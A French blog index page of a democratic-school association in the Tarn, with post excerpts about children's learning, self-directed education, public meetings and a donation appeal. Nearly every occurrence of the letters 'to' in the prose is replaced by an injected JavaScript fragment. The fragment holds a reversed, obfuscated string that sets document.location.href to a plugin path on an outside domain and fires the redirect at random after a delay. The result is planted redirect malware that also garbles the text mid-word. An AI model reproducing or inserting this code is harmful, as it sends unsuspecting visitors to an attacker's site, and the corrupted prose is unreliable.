Être passionné.e

Passions…

Mon fils Joris, 4 ans, adore dessiner. Le dessin, c’est ce qui compte vraiment pour lui. Parfois il me dit qu’il n’a pas envie d’aller l’école, et qu’il a envie de rester à la maison pour dessiner (à l’école il peut dessiner, mais visiblement, pas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout le temps).

Ma fille Elsa, 2 ans, est Lire la suite « Être passionné.e »

6 chapeaux, 1 expérience

Je souhaite revenir dans cet article sur un moment que j’ai vécu récemment et qui m’a amené à réfléchir sur les chemins de l’intelligence collective…

J’ai participé à une réunion dans un cadre associatif différent de celui de l’école. Étaient réunis autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour de la table des personnes ayant des points de vue et des statuts différents. Lire la suite « 6 chapeaux, 1 expérience »

Mais comment les enfants apprennent ?

Vous êtes peut-être déjà toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tombé.es sur cette expression, souvent utilisée pour décrire une école démocratique : « une école sans profs, sans cours, sans emploi du temps ». Forcément, ça intrigue, ça questionne, ça semble fou. Ça l’est moins quand on regarde de plus près les recherches sur le fonctionnement des apprentissages, le besoin d’être motivé.e de l’intérieur, d’avoir le temps, d’être dans un état d’esprit de curiosité joyeuse.. Lire la suite « Mais comment les enfants apprennent ? »

Passé, présent, futur… et si on conjuguait aussi l’école ?

En surfant sur le site de l’Alliance pour l’autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-éducation (https://www.self-directed.org/), je suis toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tombée sur un toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-be-educated/ »>article de Blake Boles, un éducateur américain qui cherche à promouvoir toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-education/ »>l’autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toéducation. Je vais (petit à petit) traduire des extraits de cet article pour vous partager les réflexions qu’il m’inspire et faire des liens avec d’autres sources d’inspiration et de questionnement. Claire
Lire la suite « Passé, présent, futur… et si on conjuguait aussi l’école ? »

Réunion publique spéciale fin d’année!

Jeudi 14 décembre.Toujours à Rivières!

La dernière réunion publique de l’année se placera sous le signe du rêve et de la créativité ! On vous convie à partir de 16h30 pour :

  • un goûter collectif partagé pour petit. es et grand. es
  • un atelier construction de maquettes de la future école en matériaux de récupération (amenez ce que vous trouvez chez vous! bouteilles vides, cartoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons, boîtes de conserve…)
  • un temps de création de rêve collectif

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Et si…?

Et s’il y avait une école sans salles de classe?…Sans devoirs…? Sans contrôles…?

Et si on pouvait décider nous mêmes des règles de vie…?

Vidéo faite par les élèves de la Hudson Valley Sudbury School

 

 

Réunion publique jeudi 9 novembre

C’est toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les deuxièmes jeudis du mois à 18h30 à Rivières (salle municipale).

Dans ces réunions:

-on vous présente le projet si vous ne le connaissez pas encore et on répond à vos questions

-on avance sur le modèle économique de l’école (groupe de travail sur  « comment réduire les frais de scolarité? »)

-on accueille toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les enfants (avec un espace qui leur est dédié)

-on fait un apéro partagé!

A jeudi 9 novembre, 18h30!

 

Constituons notre trésor(erie)!

Nous sommes à moins d’un an de l’ouverture de l’école. Jusqu’à présent nous avons fourni notre énergie et utilisé nos moyens matériels et financiers personnels pour donner naissance à ce projet. Mais nous avons maintenant besoin de fonds pour: Achat de matériel, communication, déplacements, formations, frais divers, …
Vous pouvez nous faire des dons lors des réunions publiques dans notre très belle tire-lire ou directement en ligne sur hello asso:

https://www.helloasso.com/associations/ecole-democratique-du-tarn
Si chacun d’entre vous donne 5 euros (ou 10 ou 15 ou plus…) ça nous aide déjà beaucoup!

Association - École Démocratique du Tarn

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